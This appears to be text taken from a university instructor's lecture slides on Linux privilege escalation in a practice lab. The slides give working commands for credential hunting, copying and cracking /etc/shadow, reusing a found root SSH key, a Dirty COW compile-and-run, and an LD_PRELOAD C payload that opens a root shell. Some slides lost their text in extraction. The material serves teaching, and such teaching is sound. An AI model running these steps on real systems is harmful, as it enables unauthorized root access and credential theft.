LINUX PRIVILEGE ESCALATION
NAYLA GREIGE
ABOUT ME
COMPUTER ENGINEER WITH A MASTERS DEGREE IN NETWORKING
LAB INSTRUCTOR & SUPERVISOR FOR THE CYBECURITY AND NETWORKING LABORATORY AT THE UNIVERSITY OF BALAMAND
REMARKS BEFORE STARTING
THIS MACHINE PROVIDES AN ENVIRONMENT FOR PRACTICING AND LEARNING ABOUT VULNERABILITIES AND PRIVILEGE ESCALATION TECHNIQUES.
AGENDA
BRIEF OVERVIEW
DEFINITION
PRIVILEGE ESCALATION REFERS TO GAINING ELEVATED ACCESS ON A LINUX SYSTEM BEYOND WHAT A USER IS TYPICALLY AUTHORIZED TO DO.
CONSEQUENCES:
TYPES OF PRIVILEGE ESCALATION
MOVING FROM A LOWER PRIVILEGE (NORMAL USER) TO A HIGHER PRIVILEGE (ROOT/ADMINISTRATOR).
GRANTS FULL CONTROL OVER THE SYSTEM.
MOVING TO ANOTHER USER’S PRIVILEGES WITHOUT ROOT ACCESS.
ACCESSING FILES OR EXECUTING ACTIONS AS ANOTHER USER.
TECHNIQUES :
A MULTITUDE OF PRIVILEGE ESCALATION TECHNIQUES ARE AVAILABLE:
ENUMERATION
DEFINITION
ENUMERATION REFERS TO THE PROCESS OF GATHERING DETAILED INFORMATION ABOUT A TARGET SYSTEM ONCE IT'S DISCOVERED TO BE ALIVE AND ACCESSIBLE (E.G., DURING THE SCANNING PHASE).
IT’S LIKE DIGGING DEEPER INTO THE TARGET MACHINE IN ORDER TO COLLECT MORE INFORMATION ABOUT IT.
SYSTEM ENUMERATION
NETWORK ENUMERATION
USER ENUMERATION
PASSWORD ENUMERATION
SYSTEM ENUMERATION :
LINUX COMMANDS DEMO
USER ENUMERATION:
username:placeholder:uid:gid:text description:home directory:shell
PASSWD FILE
cat /etc/passwd | cut -d : -f 1
username:encrypted password (hash):last change:expiration info
SHADOW FILE
ONLY ACCESSIBLE BY ROOT FOR SECURITY REASONS
-rw------- 1 root root 1.2K Jan 30 10:00 /etc/shadow
groupname:group password:gid:users in the group
GROUP FILE
NETWORK ENUMERATION :
NETWORK ENUMERATION:
PASSWORD ENUMERATION:
WHEN SEARCHING FOR SENSITIVE FILES LIKE SSH KEYS OR PASSWORDS, IT'S IMPORTANT TO USE EFFECTIVE METHODS TO LOCATE THEM SECURELY.
COMMANDS LIKE GREP, LOCATE, AND FIND ARE USEFUL TO SEARCH FOR SPECIFIC TERMS, SUCH AS "PASSWORD" OR SSH-RELATED FILES.
grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null
PASSWORD ENUMERATION:
TO SEARCH FOR THE WORD "PASSWORD" ANYWHERE IN FILES AND HIGHLIGHT THE OCCURRENCES IN RED TO IDENTIFY EASILY
grep --color=auto -rnw '/' -ie "PASSWORD=" --color=always 2> /dev/null
TO NARROW DOWN OUR RESULTS AND SEARCH FOR PASSWORD ASSIGNMENTS
locate password | more
TO LOCATE A FILE CONTAINING NAME PASSWORD
USER ENUMERATION:
THE SUID BIT ALLOWS THE FILE TO RUN WITH THE PRIVILEGE LEVEL OF THE ACCOUNT THAT OWNS IT, RATHER THAN THE ACCOUNT WHICH RUNS IT.
TO FIND FILES WITH THE SUID BIT, WHICH ALLOW US TO RUN THE FILE WITH A HIGHER PRIVILEGE LEVEL THAN THE CURRENT USER.
find / -perm -u=s -type f 2>/dev/null
USE LS -L TO VIEW FILE OR DIRECTORY PERMISSIONS.
USER ENUMERATION:
REPRESENTED BY REPLACING THE OWNER’S EXECUTE BIT (X) WITH (S)
=> ALLOWS EXECUTING THE FILE AS THE FILE OWNER.
SIMILAR TO SUID BUT APPLIES TO THE GROUP.
REPRESENTED BY REPLACING THE GROUP’S EXECUTE BIT (X) WITH (S).
=> ALLOWS EXECUTING THE FILE WITH THE GROUP’S PERMISSIONS.
USER ENUMERATION:
-RWXR-XR--
FOR FILE PERMISSIONS
DRWXR-XR--
FOR DIRECTORY PERMISSIONS
OWNER
GROUP
OTHERS
RWX
R-X
R--
SUID
OWNER
GROUP
OTHERS
RWS
R-X
R--
SGID
OWNER
GROUP
OTHERS
RWX
R-S
R--
USER ENUMERATION:
find / -perm -o x -type d 2>/dev/null
FIND WORLD-EXECUTABLE FOLDERS
find / -perm -o w -type d 2>/dev/null
FIND WORLD-WRITABLE FOLDERS
find / -perm -u=s -type f 2>/dev/null
FIND FILES WITH THE SUID BIT, WHICH ALLOWS US TO RUN THE FILE WITH A HIGHER PRIVILEGE LEVEL THAN THE CURRENT USER
AUTOMATED TOOLS
AUTOMATED TOOLS
AUTOMATED TOOLS
AUTOMATED TOOLS
KEY FINDINGS INCLUDE:
AUTOMATED TOOLS
PRIVILEGE ESCALATION: KERNEL EXPLOITS
KERNEL EXPLOITS
- MANAGING HARDWARE: CONTROLS MEMORY, CPU, AND STORAGE DEVICES.
- RUNNING PROGRAMS: ALLOCATES RESOURCES AND ENSURES SMOOTH EXECUTION.
- SECURITY AND PERMISSIONS: ENFORCES ACCESS CONTROL TO SECURE THE SYSTEM.
APPLICATIONS
KERNEL EXPLOITS
THE KERNEL SITS BETWEEN APPLICATIONS AND HARDWARE (MEMORY, CPU, DEVICES).
IT IS LIKE THE "MANAGER" OF THE SYSTEM, ENSURING EVERYTHING RUNS SMOOTHLY AND SECURELY.
KERNEL
CPU
MEMORY
DEVICES
KERNEL EXPLOITS
THE SIMPLE EXPLOIT PROCESS:
1. FIND THE KERNEL VERSION:
USE UNAME -A TO CHECK THE VERSION OF THE KERNEL.
2. SEARCH FOR EXPLOITS:
LOOK FOR EXPLOITS THAT WORK WITH THAT VERSION OF THE KERNEL (USING GOOGLE, GITHUB, OR TOOLS LIKE EXPLOIT-DB, OR SEARCHSPLOIT).
3. RUN THE EXPLOIT:
ONCE YOU FIND THE EXPLOIT,DOWNLOAD, COMPILE AND RUN THE EXPLOIT CODE TO ESCALATE PRIVILEGES.
PRACTICAL EXAMPLE: DIRTY COW
WHAT IS DIRTY COW?
A VULNERABILITY FOUND IN OLDER
LINUX KERNELS (VERSIONS 2.6.22
TO 3.9).
KERNEL EXPLOITS
KERNEL EXPLOITS
1. CHECK FOR ANY POTENTIAL EXPLOITS BASED ON YOUR SYSTEM'S CONFIGURATION.
gcc -pthread /home/user/tools/dirtycow/c0w.c -o c0w
/home/user/tools/linux-exploit-suggester/linux-exploit-suggester.sh
OR MANUALLY CHECK YOUR KERNEL VERSION TO SEARCH AFTER FOR THE EXPLOIT
uname -a
2. DOWNLOAD, COMPILE AND RUN
./c0w
passwd
id
3. IN COMMAND PROMPT TYPE
4. IN COMMAND PROMPT TYPE
5. IN COMMAND PROMPT TYPE
KERNEL EXPLOITS
PRIVILEGE ESCALATION: PASSWORDS & FILE PERMISSIONS
PRIVILEGE ESCALATION
VIA
STORED PASSWORDS
PRIVILEGE ESCALATION
VIA
WEAK FILE PERMISSIONS
PRIVILEGE ESCALATION
VIA
SSH KEYS
PRIVILEGE ESCALATION via Stored Passwords
METHODS TO FIND STORED PASSWORDS:
grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null
history
PRIVILEGE ESCALATION via Stored Passwords
PRACTICAL EXAMPLE - USING HISTORY:
cat ~/.bash_history | grep -i passw
Password found in history:
su root with password password123.
PRIVILEGE ESCALATION via Stored Passwords
PRACTICAL EXAMPLE - USING CONFIG FILES SUCH AS OPENVPN:
cat /home/user/myvpn.ovpn
cat /etc/openvpn/auth.txt
PRIVILEGE ESCALATION VIA STORED PASSWORDS
PRIVILEGE ESCALATION via weak File Permissions
PRIVILEGE ESCALATION VIA WEAK FILE PERMISSIONS
PRACTICAL EXAMPLE -/ETC/SHADOW READABLE BY ANYONE
cat /etc/passwd > passwd.txt
cat /etc/shadow > shadow.txt
unshadow passwd.txt shadow.txt > unshadowed.txt
USE THE WORDLIST TO CRACK HASHES
hashcat -m 1800 unshadowed.txt rockyou.txt -O
PRIVILEGE ESCALATION VIA WEAK FILE PERMISSIONS
PRIVILEGE ESCALATION via ssh keys
SSH KEYS ARE A SAFE WAY TO ACCESS REMOTE SYSTEMS WITHOUT NEEDING A PASSWORD.
THEY WORK USING TWO KEYS:
WHEN YOU TRY TO LOG IN, THE REMOTE SYSTEM CHECKS IF THE PRIVATE KEY MATCHES THE PUBLIC KEY TO ALLOW ACCESS.
THIS METHOD IS MORE SECURE THAN PASSWORDS BECAUSE IT RELIES ON UNIQUE KEYS FOR VERIFICATION
PRIVILEGE ESCALATION via ssh keys
IN COMMAND PROMPT TYPE:
find / -name authorized_keys 2> /dev/null
find / -name id_rsa 2> /dev/null
NOTHING RETURNED
A BACKUP SUPER SECRET KEYS ID RSA IS FOUND
COPY THE CONTENTS OF THE DISCOVERED ID_RSA FILE TO A FILE ON YOUR ATTACKER VM
ON YOUR ATTACKER MACHINE, IN COMMAND PROMPT TYPE:
ssh -i id_rsa root@<victim_ip>
chmod 400 id_rsa
INTEAD OF USING A PASSWORD WE ARE USING A PRIVATE KEY
PRIVILEGE ESCALATION VIA SSH KEYS
PRIVILEGE ESCALATION: SUDO
PRIVILEGE ESCALATION SUDO (SHELL ESCAPING)
PRIVILEGE ESCALATION SUDO (ABUSING INTENDED FUNCTIONALITY)
PRIVILEGE ESCALATION SUDO (LD_PRELOAD)
PRIVILEGE escalation via sudo (shell escaping)
SUDO -L - LISTS COMMANDS A USER CAN RUN AS ROOT.
CHOOSE ONE OF THE LISTED BINARIES AND SEARCH FOR IT ON GTFOBINS.
GTFOBINS IS A RESOURCE THAT SHOWS HOW COMMON BINARIES CAN BE EXPLOITED FOR PRIVILEGE.
IF THE BINARY IS LISTED WITH "SUDO" AS A FUNCTION, YOU CAN USE IT TO ELEVATE PRIVILEGES, USUALLY VIA AN ESCAPE SEQUENCE.
PRIVILEGE ESCALATION via sudo (shell escaping)
IN COMMAND PROMPT TYPE THE BELOW CMD TO LIST THE BINARIES YOU CAN RUN AS ROOT
sudo -l
SEARCH FOR THE CMDS TO GET ROOT PRIVILEGE WITH THE HELP OF GTFOBINS
PRIVILEGE ESCALATION via sudo (shell escaping)
LET ‘S SUPPOSE THE FIND BINARY IS AVAILABLE IN SUDO -L
COPY PASTE THE CMD TO YOUR VICTIM MACHINE AND YOU WILL GAIN ACCESS TO THE ROOT SHELL
PRIVILEGE ESCALATION VIA SUDO (SHELL ESCAPING)
PRIVILEGE escalation via sudo (Abusing Intended Functionality)
SOME APPLICATIONS LIKE APACHE2 MAY NOT HAVE A KNOWN EXPLOIT. HOWEVER ATTACKER CAN MANAGE TO USE INDIRECT METHODS .
FOR EXAMPLE, APACHE2 HAS AN OPTION (-F) THAT ALLOWS IT TO LOAD A DIFFERENT CONFIGURATION FILE.
IF YOU TRY TO LOAD THE /ETC/SHADOW FILE (WHICH CONTAINS SENSITIVE INFORMATION LIKE PASSWORD HASHES), APACHE2 WILL PRODUCE AN ERROR. THIS ERROR MESSAGE CAN CAUSE AN ERROR THAT ACCIDENTALLY REVEALS SENSITIVE INFORMATION LIKE THE ROOT’S USER ACCOUNT
PRIVILEGE escalation via sudo (Abusing Intended Functionality)
ON THE VICTIM MACHINE , CONSIDERING THAT APACHE2 IS AVAILABLE IN SUDO -L , TYPE:
sudo apache2 -f /etc/shadow
ON THE ATTACKER MACHINE
echo '[Pasted Root Hash]' > hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
FROM THE OUTPUT, COPY THE ROOT HASH
PRIVILEGE ESCALATION VIA SUDO (ABUSING INTENDED FUNCTIONALITY
PRIVILEGE escalation via sudo (LD_PRELOAD)
LD_PRELOAD IS AN ENVIRONMENT VARIABLE THAT ALLOWS ANY PROGRAM TO USE SHARED custom libraries.
IF THE "ENV_KEEP" OPTION IS ENABLED WE CAN GENERATE A SHARED LIBRARY WHICH WILL BE LOADED AND EXECUTED BEFORE THE PROGRAM IS RUN.
PRIVILEGE escalation via sudo (LD_PRELOAD)
OPEN A TEXT EDITOR AND TYPE
#include <stdio.h>
#include <sys/types.h> #include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
THIS IS SETTING THE GROUP ID AND USER ID TO 0 WHICH GIVES US PRIVILEGES AS ROOT USER.
SAVE THE FILE AS X.C TO COMPILE IT AND EXECUTE IT
gcc -fPIC -shared -o /tmp/x.so x.c -nostartfiles
sudo LD_PRELOAD=/tmp/x.so apache2
id
PRIVILEGE ESCALATION VIA SUDO (LD_PRELOAD)
PRIVILEGE ESCALATION: SUID
PRIVILEGE escalation : suid
SUID (SET USER ID) FILES ARE FILES THAT RUN WITH THE PERMISSIONS OF THEIR OWNER, OFTEN THE ROOT USER. THEY CAN POTENTIALLY BE USED FOR ATTACKS BECAUSE THEY run with elevated privileges.
WE WILL BE USING IN THIS SECTION THE BINARY (/USR/LOCAL/BIN/SUID-ENV).
IT INCLUDES CALLS TO SETRESUID AND SETRESGID, WHICH ARE OFTEN USED TO CHANGE USER OR GROUP IDS, POTENTIALLY TO ESCALATE PRIVILEGES.
SUID-ENV INHERITS THE PATH AND COULD BE EXPLOITED IF AN ATTACKER MANIPULATES IT
PRIVILEGE escalation : suid
IN COMMAND PROMPT TYPE
find / -type f -perm -04000 -ls 2>/dev/null
strings /usr/local/bin/suid-env
TO DISPLAY THE HUMAN-READABLE STRINGS EMBEDDED WITHIN THE BINARY FILE
IN COMMAND PROMPT TYPE
PRIVILEGE ESCALATION : SUID
PRIVILEGE ESCALATION: CRON JOBS
PRIVILEGE escalation : cron jobs
CRON JOBS ARE SCHEDULED TASKS ON A LINUX SYSTEM. THEY RUN AUTOMATICALLY AT SPECIFIC TIMES (E.G., BACKUPS OR CLEANING TEMPORARY FILES).
BY DEFAULT, THESE TASKS RUN WITH THE PERMISSIONS OF THE OWNER, WHICH CAN OFTEN BE ROOT (THE MOST PRIVILEGED USER ON A SYSTEM).
CRON JOBS CAN BE VULNERABLE IF THE SCRIPTS THEY RUN ARE NOT PROPERLY PROTECTED.
EXAMPLE: IF THERE IS A SCRIPT THAT RUNS EVERY MINUTE AND YOU CAN MODIFY THAT SCRIPT, YOU CAN MAKE IT RUN MALICIOUS COMMANDS AS ROOT.
PRIVILEGE escalation : cron jobs
IN COMMAND PROMPT TYPE
cat /etc/crontab
THIS GIVES YOU INSIGHT INTO WHAT TASKS ARE BEING RUN AND WHEN.
ls -l /usr/local/bin/overwrite.sh
THIS FILE ECHOES DATE AND IT WILL SAVE IT TO THE TMP/USELESS FILE.
WE CAN SEE THAT WE WERE ABLE TO OVERWRITE IT
PRIVILEGE ESCALATION : CRON JOBS
COUNTERMEASURES
PROTECTION TIPS
MR ROBOT DEMO
RESOURCES
GUIDES/WALKTHROUGHS
EXPLOIT DATABASES AND TOOLS
CTF/PRACTICE PLATFORMS
GITHUB REPOSITORIES
VIDEOS
BLOGS AND WRITE-UPS
THANKYOU
NAYLA GREIGE